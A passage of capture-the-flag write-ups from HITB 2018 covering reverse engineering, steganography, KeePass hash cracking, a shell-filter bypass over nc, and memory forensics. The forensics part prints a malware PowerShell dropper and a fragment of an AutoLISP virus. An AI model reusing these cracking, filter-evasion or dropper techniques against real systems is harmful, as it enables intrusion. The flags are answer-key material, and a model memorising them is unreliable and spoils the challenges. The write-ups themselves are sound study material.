0x76, 0x76, 0x7D, 0x7B, 0x99, 0x79, 0x78, 0x6C, 0xCB, 0x4C, 0x37, 0x83, 0x85, 0x87, 0x63, 0x87, 0x86, 0x9E, 0x31, 0xBA, 0xC2, 0x88, 0x8A, 0x8C, 0x55, 0x8E, 0x8F, 0x91, 0x49, 0x97, 0x96, 0x90, 0xBD, 0x42, 0x86, 0x99, 0x9A, 0x9A, 0x9A, 0x9C, 0x9F, 0x9E, 0x9F, 0xA0, 0xCB, 0xA4, 0xA3, 0xA4, 0xAA, 0xA6, 0xA7, 0xA8, 0xC7, 0xBA, 0xA2, 0xAC, 0xAF, 0xAE, 0xA3, 0xB0, 0xC0, 0xA2, 0xB0, 0xB4, 0xB5, 0xB6, 0xBB, 0xB8, 0xDB, 0xBB, 0xBA, 0xBC, 0xCC, 0x9E, 0xB4, 0xC0, 0xD1, 0xC2, 0xC9, 0xC4, 0xCA, 0xC6, 0xC7, 0xC8, 0xC8, 0xCA, 0xCB, 0xCC, 0xCD, 0xCE, 0xCF, 0xD0, 0xD4, 0xD2, 0xD3, 0xD4, 0xD6, 0xD6, 0xD6, 0xD8, 0xDA, 0xDA, 0xDA, 0xDC, 0xDC, 0xDE, 0xDF, 0xE0, 0xE0, 0xE2, 0xE3, 0xE4, 0xE1, 0xE6, 0xE7, 0xE8, 0xEB, 0xEA, 0xEB, 0xEC, 0xE4, 0xEE, 0xE6, 0xF0, 0xF0, 0xF2, 0xF3, 0xF4, 0xFC, 0xF6, 0xF7, 0xF8, 0xFD, 0xFA, 0xFB, 0xFC, 0xF4, 0xFE, 0xFE, 0x00, 0x0B, 0x02, 0x02, 0x04, 0x07, 0x06, 0x07, 0x08, 0x03, 0x0A, 0x0A, 0x0C, 0x0F, 0x0E, 0x0F, 0x10, 0x18, 0x12, 0x12, 0x14, 0x1D, 0x2A, 0x74, 0x74, 0x70, 0x74, 0x72, 0x68, 0x23, 0x1E, 0x19, 0x1C, 0x48, 0x4C, 0x4A, 0x50, 0x1B, 0x26, 0x26, 0x6A, 0x29, 0x20, 0x68, 0x44, 0x48, 0x4D, 0x44, 0x1E, 0x5B, 0x53, 0x45, 0x55, 0x35, 0x37, 0x7E, 0x38, 0x3B, 0x73, 0x79, 0x3C, 0x3C, 0x72, 0x3F, 0x42, 0x0D, 0x0E, 0x43, 0x47, 0x09, 0x0A, 0x0E, 0x48, 0x4C, 0x06, 0x07, 0x05, 0x01, 0x07, 0x4F, 0x5D, 0x1D, 0x31, 0x3C, 0x39, 0x7A, 0x37, 0x78, 0x1B, 0x31, 0x3F, 0x38, 0x37, 0x66, 0x5E, 0x4D, 0x2C, 0x0B, 0x03, 0x15, 0x05, 0x4A, 0x0A, 0x06, 0x06, 0x0E, 0x45, 0x24, 0x0E, 0x07, 0x0B, 0x0C, 0x04, 0x4A, 0x72, 0x61, 0x38, 0x1F, 0x17, 0x01, 0x19, 0x56, 0x16, 0x1A, 0x12, 0x1A, 0x51, 0x2C, 0xF4, 0xF3, 0xEB, 0xED, 0xE3, 0xBE, 0x86, 0x95, 0xC4, 0xE3, 0xEB, 0xFD, 0xED, 0xA2, 0xE2, 0xEE, 0xFE, 0xF6, 0xBD, 0xC0, 0xED, 0xE6, 0xE2, 0xF2, 0xF5, 0xA2, 0x9A, 0x89, 0xD0, 0xF7, 0xFF, 0xE9, 0xC1, 0x8E, 0xD7, 0xD7, 0xCD, 0xC9, 0x89, 0xE6, 0xDA, 0xDB, 0xCB, 0xD2, 0xDF, 0x96, 0xAE, 0xAE, 0xE6, 0xB1, 0xB4, 0xE5, 0xF8, 0xFC, 0xFA, 0xFE, 0xF1, 0xB9, 0xBB, 0xE1, 0xBC, 0xBF, 0xE4, 0xF3, 0xC0, 0xC2, 0x98, 0x8F, 0x88, 0xC5, 0xC4, 0x9C, 0x8A, 0xC9, 0xC8, 0x90, 0x85, 0xCD, 0xCF, 0xAE, 0xD0, 0xD8, 0xB3, 0xA1, 0xA6, 0xB4, 0xAF, 0xB4, 0xB7, 0xA9, 0xA3, 0xDB, 0xDD, 0xBF, 0xDE, 0xDA, 0x83, 0x89, 0x87, 0x80, 0x8F, 0xE5, 0xE0, 0x82, 0x99, 0x9C, 0x8B, 0x87, 0x9F, 0xED, 0xE6, 0x88, 0x95, 0x85, 0xB0, 0x8A, 0x80, 0x90, 0x85, 0xF7, 0xC4, 0xF9, 0xFD, 0xF5, 0xFE, 0xE8, 0x78, 0xFD, 0x6B, 0xA5, 0x00, 0x16, 0xC6, 0x05, 0x03, 0x07, 0x0F, 0x07, 0x0A, 0x38, 0x0D, 0x0D, 0x09, 0x01, 0x1F, 0x3C, 0x3C, 0x13, 0x50, 0x14, 0x16, 0x10, 0x05, 0x43, 0x51, 0x27, 0x57, 0x56, 0x22, 0x98, 0x77, 0x1E, 0x22, 0x2B, 0x20, 0x25, 0x26, 0x27, 0x28, 0x2E, 0x24, 0x60, 0x54, 0x11, 0xEA, 0x12, 0x2E, 0x85, 0x9D, 0x72, 0x08, 0x09, 0x36, 0x10, 0x3A, 0x39, 0x3A, 0x3C, 0x32, 0x67, 0x75, 0xA9, 0xF4, 0xF5, 0xD3, 0x1C, 0x44, 0x59, 0x44, 0x47, 0x48, 0x4E, 0x44, 0x11, 0x07, 0x4C, 0x59, 0x40, 0x8E, 0x0C, 0x52, 0x07, 0x55, 0x55, 0x51, 0x59, 0x58, 0x5B, 0x5A, 0x53, 0x5C, 0x5D, 0x54, 0x5E, 0x6A, 0x61, 0xEA, 0xE3, 0x60, 0xF1, 0x62, 0x66, 0xE9, 0xE9, 0x6E, 0xE3, 0x69, 0x6C, 0x64, 0xCF, 0x75, 0x70, 0x7B, 0xCF, 0x71, 0x74, 0x7E, 0xD7, 0x7E, 0x78, 0x70, 0xC3, 0x7B, 0x7C, 0x74, 0xC7, 0x88, 0x80, 0x8B, 0x33, 0x8D, 0x88, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8C, 0x8E, 0x8F, 0x90, 0x91, 0x92, 0x93, 0x94, 0x94, 0x96, 0x97, 0x98, 0x85, 0x9A, 0x9B, 0x9C, 0xED, 0x9E, 0x9F, 0xA0, 0xA3, 0xA2, 0xA3, 0xA4, 0xAE, 0xA6, 0xA7, 0xA8, 0x49, 0xAA, 0xAB, 0xAC, 0xAE, 0xAE, 0xAF, 0xB0, 0xBB, 0xB2, 0xB3, 0xB4, 0xB9, 0xB7, 0xB7, 0xB8, 0xBD, 0xBA, 0xBB, 0xBC, 0xBF, 0xBE, 0xBF, 0xC0, 0x45, 0xC3, 0xC3, 0xC4, 0xC0, 0xC6, 0xC7, 0xC8, 0xC5, 0xCA, 0xCB, 0xCC, 0x59, 0xCF, 0xCF, 0xD0, 0xD7, 0xD2, 0xD3, 0xD4, 0xD4, 0xD6, 0xD7, 0xD8, 0x2D, 0xDB, 0xDB, 0xDC, 0xDC, 0xFE, 0xDF, 0xE0, 0xE9, 0xE2, 0xE3, 0xE4, 0xF1, 0xE4, 0xE7, 0xE8, 0xE8, 0xFA, 0xEB, 0xEC, 0xE5, 0xEE, 0xEF, 0xF0, 0x11, 0xF6, 0xF3, 0xF4, 0xF7, 0xD6, 0xF7, 0xF8, 0xE5, 0xFA, 0xFB, 0xFC, 0xD1, 0xFB, 0xFF, 0x00, 0x02, 0x22, 0x03, 0x04, 0x0D, 0x06, 0x07, 0x08, 0x06, 0x0C, 0x0B, 0x0C, 0x0D, 0x2E, 0x0F, 0x10, 0x10, 0x12, 0x13, 0x14, 0x65, 0x10, 0x17, 0x18, 0x19, 0x0A, 0x1B, 0x1C, 0x1C, 0x1E, 0x1F, 0x20, 0xBD, 0x24, 0x23, 0x24]

d = ''
k = 233
for c in l:
    d += chr(c ^ (k & 0xff))
    k += 1

open('claz.dex', 'wb').write(d)
#include <stdio.h>
#include <stdint.h>

uint32_t key[] = {0xabababab, 0xcdcdcdcd, 0xefefefef, 0x12345678};
uint32_t enc_s[] = {0x637c65e9, 0x8e51d1d9, 0x9a4f1634, 0xd9a2beb8, 0x65ee49e5, 0x35fb2eec, 0x610bc824, 0xedcf90b5, 0};

void decrypt (uint32_t* v, uint32_t* k) {
    int32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i;  /* set up */
    int32_t delta=0x9e3779b9;                     /* a key schedule constant */
    int32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
    for (i=0; i<32; i++) {                         /* basic cycle start */
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        sum -= delta;
    }                                              /* end cycle */
    v[0]=v0; v[1]=v1;
}

int main(int argc, char *argv[]) {
    for (int i = 0; i < 8; i += 2) {
        uint32_t* t = &enc_s[i];
        decrypt(t, key);
        enc_s[i] = __builtin_bswap32(enc_s[i]);
        enc_s[i+1] = __builtin_bswap32(enc_s[i+1]);
    }
    printf("%s\n", (char *)&enc_s[1]);
}

HITB{SEe!N9_IsN'T_bELIEV1Ng}

kivy simple (Reverse)

Since private.mp3 is suspecious, I investigated private.mp3.
Then, I found out that it was tar.gz file and decompress it.

$ uncompyle6 main.pyo
# uncompyle6 version 3.0.1
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.5.2 (default, Nov 23 2017, 16:37:01)
# [GCC 5.4.0 20160609]
# Embedded file name: /home/ubuntu/kivyproject/.buildozer/android/app/main.py
# Compiled at: 2018-03-14 13:40:21
from kivy.uix.popup import Popup
from kivy.app import App
from kivy.uix.label import Label
from kivy.uix.textinput import TextInput
from kivy.uix.button import Button
from kivy.uix.boxlayout import BoxLayout
import binascii, marshal, zlib

class LoginScreen(BoxLayout):

    def __init__(self, **kwargs):
        super(LoginScreen, self).__init__(**kwargs)
        self.orientation = 'vertical'
        self.add_widget(Label(text='FLAG'))
        self.flag = TextInput(hint_text='FLAG HERE', multiline=False)
        self.add_widget(self.flag)
        self.hello = Button(text='CHECK')
        self.hello.bind(on_press=self.auth)
        self.add_widget(self.hello)

    def check(self):
        if self.flag.text == 'HITB{this_is_not_flag}':
            return True
        return False

    def auth(self, instance):
        if self.check():
            s = 'Congratulations you got the flag'
        else:
            s = 'Wrong answer'
        popup = Popup(title='result', content=Label(text=s), auto_dismiss=True)
        popup.open()


screen = LoginScreen()
b64 = 'eJzF1MtOE2EUB/DzTculUKAUKJSr3OqIV0TBGEOMRqIuatJhowsndTrVA+MlnYEYhZXEhQuXLlz4CC58BBc+ggsfwYWPYDznhHN8BJr5Tv7fby6Z8/VrIzj+eDRu0kirVFoARwCPAGI6HOx4EBI6CHy+LHLH1/O4zfd8onQAsEOHg0MHmQcHDt45vmc3B50FyHIQELU8qLZyYutmebIusftm3WQ9Yo/NeskKYh2zPrJ+sfdmRbIBsc9mg2RDYl/NSmTDYt/NymQjYj/NRsnGxH6bVcjGxf6aTZBVxcpObdL6rZlNkU2LXTebsT7qZrP2fk/M5shOie2bzdvzPpgtkC2KfTFbIlsW+2ZWIzst9sPMJzsj9stsheys2B+zc2TnxTxP7YL1UTG7aLZidolsVWzT7LL11jBbI7si1ja7SrYu9sZsw+yjWJaHgHZx4F+j/VnHOao4TCXjvbuBQxqXsV9jgDmNt7CiMURP4zZOaXyA3RrncVTjEpY0djCv8S2Oa3yF/OtC0PldLPN8hkuf4ioO8nxA5zWc1LiITuM97NG4hbMaD3FE4z4W+TEFLhOKD7GL59M6r+OYxjXsperz+YzfvZ00n0rI4tdZxkuTxC8yPr3VTNJYTm139mL5S5BZGidteVTqc4dSMil8V/Qsjnb52vSIzRVdGfKu5E5seHWfu2rw3sj460yjTkwt8oqFYZQ00zQM/3cipSErzQt14/nL1l4Sb0pHXAp3/gENPMQt'
eval(marshal.loads(zlib.decompress(binascii.a2b_base64(b64))))

class MyApp(App):

    def build(self):
        return screen


app = MyApp()
app.run()
# okay decompiling main.pyo
$ uncompyle6 ../../../eval_main.pyc
# uncompyle6 version 3.0.1
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.5.2 (default, Nov 23 2017, 16:37:01)
# [GCC 5.4.0 20160609]
# Compiled at: 2018-03-14 13:40:21


def check(self):
    s = self.flag.text
    if len(s) != 31:
        return False
    if s[17] != '7':
        return False
    if s[15] != '%':
        return False
    if s[11] != 'S':
        return False
    if s[3] != 'B':
        return False
    if s[22] != '_':
        return False
    if s[2] != 'T':
        return False
    if s[27] != 'O':
        return False
    if s[6] != '!':
        return False
    if s[20] != '$':
        return False
    if s[16] != 'r':
        return False
    if s[4] != '{':
        return False
    if s[23] != 'p':
        return False
    if s[25] != '7':
        return False
    if s[0] != 'H':
        return False
    if s[18] != '_':
        return False
    if s[29] != '!':
        return False
    if s[10] != '1':
        return False
    if s[14] != 'H':
        return False
    if s[13] != '&':
        return False
    if s[26] != '#':
        return False
    if s[1] != 'I':
        return False
    if s[7] != 'F':
        return False
    if s[30] != '}':
        return False
    if s[19] != 'v':
        return False
    if s[12] != '_':
        return False
    if s[9] != '_':
        return False
    if s[24] != 'Y':
        return False
    if s[5] != '1':
        return False
    if s[28] != 'N':
        return False
    if s[21] != '3':
        return False
    if s[8] != '3':
        return False
    return True


screen.__class__.check = check
# okay decompiling ../../../eval_main.pyc

HITB{1!F3_1S_&H%r7_v$3_pY7#ON!}

pix (Misc)

zsteg is god.

$ zsteg aee487a2-49cd-4f1f-ada6-b2d398342d99.SteinsGate
imagedata           .. text: " !#865   "
b1,r,msb,xy         .. text: "y5b@2~2t"
b1,rgb,lsb,xy       .. file: Keepass password database 2.x KDBX
b2,r,msb,xy         .. text: "\rP`I$X7D"
b2,bgr,lsb,xy       .. text: "b;d'8H~M"
b4,g,msb,xy         .. text: ";pTr73& dvG:

$ zsteg aee487a2-49cd-4f1f-ada6-b2d398342d99.SteinsGate -e b1,rgb,lsb,xy  > hoge.keepass2

$ keepass2john  ~/hoge.keepass2
hoge.keepass2:$keepass$*2*6000*222*774fbe05c37a98c8094e1d625d285a193ae9cf9bc7f6ccbf8ee5cb28e2894070*02207c3d0a3feb6a589dc84f8d73ff86fe2629ff25f9cf23f7f9545b5786f882*065f70730c4e7b98ef7ea869f6958b03*2b3d24717d3e284484af4171a4a752d688111a96f7c36e7233048fc028867f16*43dbb269dff30e5cd1ce74dd8527594004f49bcd17414c24cb22c0d6e2b26a0b

$ optirun ./hashcat64.bin -a 3 -m 13400  '$keepass$*2*6000*222*774fbe05c37a98c8094e1d625d285a193ae9cf9bc7f6ccbf8ee5cb28e2894070*02207c3d0a3feb6a589dc84f8d73ff86fe2629ff25f9cf23f7f9545b5786f882*065f70730c4e7b98ef7ea869f6958b03*2b3d24717d3e284484af4171a4a752d688111a96f7c36e7233048fc028867f16*43dbb269dff30e5cd1ce74dd8527594004f49bcd17414c24cb22c0d6e2b26a0b' -1 '0123456789' 'hitb?1?1?1?1?1?1'
...
$keepass$*2*6000*222*774fbe05c37a98c8094e1d625d285a193ae9cf9bc7f6ccbf8ee5cb28e2894070*02207c3d0a3feb6a589dc84f8d73ff86fe2629ff25f9cf23f7f9545b5786f882*065f70730c4e7b98ef7ea869f6958b03*2b3d24717d3e284484af4171a4a752d688111a96f7c36e7233048fc028867f16*43dbb269dff30e5cd1ce74dd8527594004f49bcd17414c24cb22c0d6e2b26a0b:hitb180408
...

read file (Misc)

$ nc 47.75.148.60 9999
echo $input | grep -o "[[:punct:]]*"
flag is here: /home/flag_is_here/flag.txt , try to read it~!
Do it!!!
Input: $(</????/????_??_????/????.???)
HITB{d7dc2f3c59291946abc768d74367ec31}

or

Input: /???/??? /????/????_??_????/????.???

tpyx (Misc)

The png file is broken. It seems like We need to fix it first.
pngcheck tell us that it has crc checksum error

$ pngcheck -v e47c7307-b54c-4316-9894-5a8daec738b4.png
File: e47c7307-b54c-4316-9894-5a8daec738b4.png (1164528 bytes)
chunk IHDR at offset 0x0000c, length 13
1024 x 653 image, 32-bit RGB+alpha, non-interlaced
chunk IDAT at offset 0x00025, length 1162839
zlib: deflated, 32K window, default compression
CRC error in chunk IDAT (computed ecfb2a19, expected ba3de214)
ERRORS DETECTED in e47c7307-b54c-4316-9894-5a8daec738b4.png

When you try to fix the crc checksum, you will notice that the size of IDAT chunk is also wrong. The true size is 1164470 not 1162839

After corrected all faults, just use zsteg to detect any interesting things and also extract them.

$ zsteg e47c7307-b54c-4316-9894-5a8daec738b4_fixed.png
[?] 1 bytes of extra data after image end (IEND), offset = 0x11c4ef
extradata:imagedata .. file: zlib compressed data
...
...
$ zsteg e47c7307-b54c-4316-9894-5a8daec738b4_fixed.png -e extradata:imagedata > zlibdata
$ python -c "import zlib; print zlib.decompress(open('zlibdata').read())" > data
$ cat data
377abcaf271c000382f96c91300000000000000073000000000000003c0e24409c429fdb08f31ebc2361b3016f04a79a070830334c68dd47db383e4b7246acad87460cd00ba62cfae68508182a69527a0104060001093000070b0100022406f107010a5307cb7afbfaec5aa07623030101055d0000010001000c2c2700080a01c35b933000000501110b0066006c00610067000000120a010000844bf3571cd101130a010000e669e866d1d301140a010080ffcdd963d1d301150601008000000000001800345172634f556d365761752b5675425838672b4950673d3d
$ cat data | xxd -r -p > data
$ file data
data.7z: 7-zip archive data, version 0.3

Now we have a 7z file, but we need password.
The 7z file is actually appended with the password.

$ xxd data
00000000: 377a bcaf 271c 0003 82f9 6c91 3000 0000  7z..'.....l.0...
00000010: 0000 0000 7300 0000 0000 0000 3c0e 2440  ....s.......<.$@
00000020: 9c42 9fdb 08f3 1ebc 2361 b301 6f04 a79a  .B......#a..o...
00000030: 0708 3033 4c68 dd47 db38 3e4b 7246 acad  ..03Lh.G.8>KrF..
00000040: 8746 0cd0 0ba6 2cfa e685 0818 2a69 527a  .F....,.....*iRz
00000050: 0104 0600 0109 3000 070b 0100 0224 06f1  ......0......$..
00000060: 0701 0a53 07cb 7afb faec 5aa0 7623 0301  ...S..z...Z.v#..
00000070: 0105 5d00 0001 0001 000c 2c27 0008 0a01  ..].......,'....
00000080: c35b 9330 0000 0501 110b 0066 006c 0061  .[.0.......f.l.a
00000090: 0067 0000 0012 0a01 0000 844b f357 1cd1  .g.........K.W..
000000a0: 0113 0a01 0000 e669 e866 d1d3 0114 0a01  .......i.f......
000000b0: 0080 ffcd d963 d1d3 0115 0601 0080 0000  .....c..........
000000c0: 0000 0018 0034 5172 634f 556d 3657 6175  .....4QrcOUm6Wau
000000d0: 2b56 7542 5838 672b 4950 673d 3d         +VuBX8g+IPg==
$ 7z x data -p4QrcOUm6Wau+VuBX8g+IPg==
..
Extracting  flag
..
$ cat flag
HITB{0c88d56694c2fb3bcc416e122c1072eb}

BOOM (Misc)

AceBear

We are given a .vmem file, which is a memory file generated by VMware. The problem deion indicates that this VM might be infected with a malware, so let’s use Volatility to analyze this memory dump.

Let’s check what OS this memory dump is running:

$ volatility -f BOOM-6452e9b9.vmem imageinfo
Volatility Foundation Volatility Framework 2.5
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win2008R2SP0x64, Win7SP1x64, Win7SP0x64, Win2008R2SP1x64
                     AS Layer1 : AMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (.../BOOM-6452e9b9.vmem)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80003fff0a0L
          Number of Processors : 2
     Image Type (Service Pack) : 1
                KPCR for CPU 0 : 0xfffff80004000d00L
                KPCR for CPU 1 : 0xfffff880009ef000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2018-04-05 08:29:56 UTC+0000
     Image local date and time : 2018-04-05 16:29:56 +0800

Let’s consider the running OS as Win7SP1x64 and list the running processes:

$ volatility -f BOOM-6452e9b9.vmem --profile=Win7SP1x64 psscan
Volatility Foundation Volatility Framework 2.5
Offset(P)          Name                PID   PPID PDB                Time created                   Time exited
------------------ ---------------- ------ ------ ------------------ ------------------------------ ------------------------------
0x000000007d0d81f0 msdtc.exe          1992    516 0x0000000077525000 2018-04-04 15:28:29 UTC+0000
0x000000007d0dab30 cmd.exe            1348   1212 0x0000000038154000 2018-04-05 08:27:22 UTC+0000   2018-04-05 08:27:39 UTC+0000
0x000000007d109b30 dllhost.exe        1896    516 0x000000004599c000 2018-04-04 15:28:29 UTC+0000
0x000000007d248b30 svchost.exe         600    516 0x00000000145af000 2018-04-04 15:28:26 UTC+0000
0x000000007d285540 svchost.exe        1112    516 0x0000000017541000 2018-04-04 15:28:27 UTC+0000
0x000000007d28a5b0 explorer.exe       2532   2492 0x0000000034c9e000 2018-04-04 15:30:26 UTC+0000
0x000000007d290b30 spoolsv.exe        1212    516 0x0000000017755000 2018-04-04 15:28:27 UTC+0000
0x000000007d2af1a0 mscorsvw.exe       2764    516 0x000000006a0e7000 2018-04-04 15:30:28 UTC+0000
0x000000007d2de7e0 svchost.exe        1244    516 0x00000000186fc000 2018-04-04 15:28:27 UTC+0000
0x000000007d3b4060 VGAuthService.     1384    516 0x00000000178e6000 2018-04-04 15:28:27 UTC+0000
0x000000007d3e4210 vmtoolsd.exe       1456    516 0x000000001676c000 2018-04-04 15:28:28 UTC+0000
0x000000007d3e9b30 ManagementAgen     1480    516 0x00000000162f2000 2018-04-04 15:28:28 UTC+0000
0x000000007d413060 winlogon.exe        480    408 0x0000000020cf6000 2018-04-04 15:28:26 UTC+0000
0x000000007d428b30 services.exe        516    416 0x00000000086a2000 2018-04-04 15:28:26 UTC+0000
0x000000007d434060 lsm.exe             540    416 0x000000001f851000 2018-04-04 15:28:26 UTC+0000
0x000000007d436610 lsass.exe           532    416 0x000000001f649000 2018-04-04 15:28:26 UTC+0000
0x000000007d50e970 svchost.exe         664    516 0x000000001c541000 2018-04-04 15:28:26 UTC+0000
0x000000007d532920 vmacthlp.exe        724    516 0x000000001ee7b000 2018-04-04 15:28:26 UTC+0000
0x000000007d53eb30 svchost.exe         768    516 0x0000000053d03000 2018-04-04 15:28:26 UTC+0000
0x000000007d571060 svchost.exe         832    516 0x000000005378d000 2018-04-04 15:28:26 UTC+0000
0x000000007d57cb30 svchost.exe         892    516 0x000000005329a000 2018-04-04 15:28:26 UTC+0000
0x000000007d5a8b30 svchost.exe         936    516 0x00000000125a5000 2018-04-04 15:28:26 UTC+0000
0x000000007d8d1060 wininit.exe         416    344 0x0000000021861000 2018-04-04 15:28:26 UTC+0000
0x000000007d8db7b0 csrss.exe           432    408 0x0000000021bf0000 2018-04-04 15:28:26 UTC+0000
0x000000007da5cb30 csrss.exe           364    344 0x0000000021ddb000 2018-04-04 15:28:25 UTC+0000
0x000000007e243b30 WmiPrvSE.exe       1852    664 0x000000000e653000 2018-04-04 15:28:29 UTC+0000
0x000000007e94bb30 smss.exe            276      4 0x0000000023138000 2018-04-04 15:28:25 UTC+0000
0x000000007e9cab30 taskhost.exe       2388    516 0x0000000074651000 2018-04-04 15:30:26 UTC+0000
0x000000007ed2e810 Everything.exe     3764   1564 0x0000000077807000 2018-04-05 08:29:20 UTC+0000
0x000000007edb62b0 ipconfig.exe       3440   3372 0x000000002ef83000 2018-04-05 08:29:56 UTC+0000   2018-04-05 08:29:56 UTC+0000
0x000000007efbe330 SearchFilterHo     1260   3016 0x000000002ddfe000 2018-04-05 08:29:06 UTC+0000
0x000000007efc7540 audiodg.exe        3960    832 0x000000003eefe000 2018-04-05 08:29:20 UTC+0000
0x000000007efcc5f0 cmd.exe            3372   1456 0x000000003fe85000 2018-04-05 08:29:56 UTC+0000   2018-04-05 08:29:56 UTC+0000
0x000000007f0e5a30 dwm.exe            2508    892 0x0000000073675000 2018-04-04 15:30:26 UTC+0000
0x000000007f67bb30 dllhost.exe        2364    664 0x0000000049662000 2018-04-04 15:49:16 UTC+0000
0x000000007f773680 netsh.exe          2428   1212 0x0000000034bde000 2018-04-05 08:28:07 UTC+0000   2018-04-05 08:28:07 UTC+0000
0x000000007f78eb30 svchost.exe        1088    516 0x000000004771d000 2018-04-04 15:41:44 UTC+0000
0x000000007f7e1460 StikyNot.exe       2252   2532 0x00000000379a7000 2018-04-04 15:49:33 UTC+0000
0x000000007f834b30 SearchIndexer.     3016    516 0x000000003ae0d000 2018-04-04 15:30:30 UTC+0000
0x000000007f860b30 svchost.exe        2968    516 0x0000000015308000 2018-04-04 15:30:29 UTC+0000
0x000000007f9d6060 cmd.exe            1096   1212 0x00000000752ec000 2018-04-05 08:25:33 UTC+0000   2018-04-05 08:26:49 UTC+0000
0x000000007f9ec060 sc.exe             3064   1212 0x00000000332be000 2018-04-05 08:28:07 UTC+0000   2018-04-05 08:28:07 UTC+0000
0x000000007fa5d060 wordpad.exe        3316   1564 0x0000000041a4b000 2018-04-05 08:29:50 UTC+0000
0x000000007fa7f060 conhost.exe        3368    364 0x000000000ca7a000 2018-04-05 08:29:56 UTC+0000   2018-04-05 08:29:56 UTC+0000
0x000000007faa7390 rdpclip.exe        2460   1112 0x0000000071564000 2018-04-05 08:29:07 UTC+0000
0x000000007fac6b30 taskhost.exe       1340    516 0x000000006d95f000 2018-04-05 08:29:07 UTC+0000
0x000000007fb0bb30 SearchProtocol     1820   3016 0x00000000744a7000 2018-04-05 08:29:26 UTC+0000
0x000000007fb15b30 dwm.exe            2228    892 0x0000000032414000 2018-04-05 08:29:07 UTC+0000
0x000000007fb23b30 explorer.exe       1564   1624 0x0000000066338000 2018-04-05 08:29:07 UTC+0000
0x000000007fb74060 vmtoolsd.exe       2632   2532 0x0000000070551000 2018-04-04 15:30:26 UTC+0000
0x000000007fbb9b30 svchost.exe        2800    516 0x000000006a6f5000 2018-04-04 15:30:28 UTC+0000
0x000000007fbcf060 mscorsvw.exe       2880    516 0x000000006a1fc000 2018-04-04 15:30:29 UTC+0000
0x000000007fbfc060 sppsvc.exe         2932    516 0x000000002c482000 2018-04-04 15:30:29 UTC+0000
0x000000007fca0b30 winlogon.exe        888   2092 0x00000000304c0000 2018-04-05 08:28:11 UTC+0000
0x000000007fccab30 csrss.exe          1836   2092 0x000000002f03b000 2018-04-05 08:28:11 UTC+0000
0x000000007fd228d0 csrss.exe          2984   2380 0x000000001bbb9000 2018-04-05 08:29:06 UTC+0000
0x000000007fd36b30 regsvr32.exe       2736   1564 0x0000000064a39000 2018-04-05 08:29:08 UTC+0000   2018-04-05 08:29:08 UTC+0000
0x000000007fdec630 vmtoolsd.exe       3748   1564 0x0000000045e6b000 2018-04-05 08:29:19 UTC+0000
0x000000007fdf3b30 winlogon.exe       2212   2380 0x00000000121be000 2018-04-05 08:29:06 UTC+0000
0x000000007feb2060 SearchProtocol     2752   3016 0x000000002e873000 2018-04-05 08:29:06 UTC+0000
0x000000007feb8b30 LogonUI.exe        1672   2212 0x000000003a14d000 2018-04-05 08:29:06 UTC+0000
0x000000007ff39990 System                4      0 0x0000000000187000 2018-04-04 15:28:25 UTC+0000

Everything.exe seems shady. Let’s dump it:

$ volatility -f BOOM-6452e9b9.vmem --profile=Win7SP1x64 procdump -p 3764 -D .
Volatility Foundation Volatility Framework 2.5
Process(V)         ImageBase          Name                 Result
------------------ ------------------ -------------------- ------
0xfffffa8002b2e810 0x0000000000400000 Everything.exe       OK: executable.3764.exe

As with many memory forensics challenge, it is quite useful to run strings on it:

$ strings executable.3764.exe
... [snip]
...
powershell -WindowStyle Hidden -Command "Get-ChildItem .\ | ForEach-Object -Process {if($_ -is [System.IO.FileInfo]){if($_.FullName.indexof(""".exe""") -eq -1){return;}$cont = (Get-Content -raw $_.FullName);if($cont.indexof("""qwedcxzarfvbnhyt""") -eq -1){return;}echo $_.FullName;[byte[]]$bytes = [System.IO.File]::ReadAllBytes($_.FullName);Set-Content -Path """.\temp.exe""" -Value $Bytes[-0X19010..-0X11] -encoding Byte;.\temp.exe;rm .\temp.exe;}};Start-Process -FilePath http://HYTN_B_C_DoRR_.cn;"

Looks like there are something related to PowerShell inside this executable, which makes it even more shady. Some RE confirms it as the process entry point is overwritten with some code that runs the above command. Start-Process -FilePath with an URL will open a browser window with that URL, that explains the weird paths mentioned in the problem deion.

The flag doesn’t follow normal format, and is the domain name of what we’ve found: HYTN_B_C_DoRR_.cn

There are a lot of useful and funny tricks I’ve learned when solving that problem; however the time to writeup is limited so I’ll add it later :3

simple_forensics

This is a memory forensics challenge.So we can use Volatility tool to solve.

First.we vol.py -f xxxxx.vmem imageinfoto find profile.

$ vol.py -f Windows\ 10\ x64-8da95d9d.vmem imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win10x64_10586, Win10x64_14393, Win10x64_16299, Win2016x64_14393, Win10x64_15063 (Instantiated with Win10x64_15063)
                     AS Layer1 : SkipDuplicatesAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/Volumes/移动硬盘/项目/HITB_sw/Windows 10 x64.vmwarevm/Windows 10 x64-8da95d9d.vmem)
                      PAE type : No PAE
                           DTB : 0x1aa000L
                          KDBG : 0xf80075fe24d0L
          Number of Processors : 1
     Image Type (Service Pack) : 0
                KPCR for CPU 0 : 0xfffff80075145000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2018-04-11 07:33:07 UTC+0000
     Image local date and time : 2018-04-11 15:33:07 +0800

we find the profile is win10.
Then.We to find the Desktop file…We can find somethins…such as *.txt or autocad folder or some autocad Project Files and files.When we analyze the file,the file name is ‘go.lsp’

...
(if (setq wwjm (open flag_file "r"))
  (progn
    (repeat 15 (read-line wwjm))
    (setq wz (read-line wwjm))
    (setq wwjm (open elif_galf "w"))
    (write-line wz wwjm)
    (close wwjm)
...
(vl-file-delete (strcat dpath "flag.txt"))
...

we find that this is an autocad virus. And this virus is code by auto lsp.So we have to learn auto lsp‘s grammar.

